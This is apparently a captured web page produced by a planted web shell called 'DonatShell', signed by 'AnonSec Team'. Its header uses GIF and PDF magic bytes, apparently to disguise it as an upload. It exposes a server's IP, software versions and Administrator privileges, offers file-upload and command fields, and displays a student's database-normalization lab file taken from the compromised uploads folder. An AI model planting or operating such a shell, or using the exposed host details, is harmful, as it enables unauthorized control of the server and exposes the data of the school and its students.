GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/uploads/20253/CST1600/41/14709590/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/uploads/20253/CST1600/41/14709590/Lab07/CST1600_JoshuaMoellers_Lab07.txt
UNF:
student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3)

1NF:
MajorCodes violate 1NF because there is no limit.
HomeMobilePhoneNumbers does not violate 1NF because they are listed together and there are only two in one space
changed MajorCodes to MajorCode since it is repeating

student(Name, StudentID, HomeMobilePhoneNumbers)
studentmajor(StudentID, MajorCode)

2NF:
student(Name, StudentID)
studentmajor(StudentID, MajorCode)
studentphone(StudentID, PhoneNumber)

3NF:
OK
student(Name, StudentID)
studentmajor(StudentID, MajorCode)
studentphone(StudentID, PhoneNumber)


Three data rows:
student(Name, StudentID)
	Avram Hinton, 34673656
	Hayes Gibson, 83681840
	Kristen Acosta, 94086534

studentmajor(StudentID, MajorCode)
	34673656, NSA
	34673656, CSS
	34673656, CST
	83681840, CST
	94086534, CP
	94086534, MAD

studentphone(StudentID, PhoneNumber)
	34673656, 103-391-7811
	34673656, 676-683-6301
	83681840, 447-149-5334
	94086534, 972-658-1570

Anon7 - 2022
AnonSec Team